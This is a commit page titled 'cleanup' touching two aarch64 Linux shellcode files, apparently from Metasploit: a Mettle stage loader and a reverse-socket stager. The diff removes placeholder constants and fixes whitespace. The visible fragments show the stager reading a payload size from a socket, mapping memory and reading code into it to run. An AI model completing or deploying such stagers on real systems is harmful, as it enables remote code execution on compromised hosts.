Skip to content

Commit ffbf21c

Browse files
committed
cleanup
1 parent 7b71f60 commit ffbf21c

File tree

2 files changed

+5
-8
lines changed

2 files changed

+5
-8
lines changed

external/source/shellcode/linux/aarch64/stage_mettle.s

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,6 @@
22
.equ SYS_MMAP, 0xde
33
.equ SYS_EXIT, 0x5d
44

5-
.equ SIZE, 0xeeeeeeee
6-
.equ ENTRY, 0xffffffff
7-
85
start:
96
adr x2, size
107
ldr w2, [x2]
@@ -94,8 +91,8 @@ failed:
9491

9592
.balign 16
9693
size:
97-
.word SIZE
94+
.word 0
9895
.word 0
9996
entry:
100-
.word ENTRY
97+
.word 0
10198
.word 0

external/source/shellcode/linux/aarch64/stager_sock_reverse.s

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ start:
3737
mov x2, #4
3838
mov x8, SYS_READ
3939
svc 0
40-
cmn x0, #0x1
40+
cmn x0, #0x1
4141
beq failed
4242

4343
ldr w2, [sp,#0]
@@ -56,7 +56,7 @@ start:
5656
mov x5, xzr
5757
mov x8, SYS_MMAP
5858
svc 0
59-
cmn x0, #0x1
59+
cmn x0, #0x1
6060
beq failed
6161

6262
/* Grab the saved size, save the address */
@@ -75,7 +75,7 @@ read_loop:
7575
mov x2, x4
7676
mov x8, SYS_READ
7777
svc 0
78-
cmn x0, #0x1
78+
cmn x0, #0x1
7979
beq failed
8080
add x3, x3, x0
8181
subs x4, x4, x0

0 commit comments

Comments
 (0)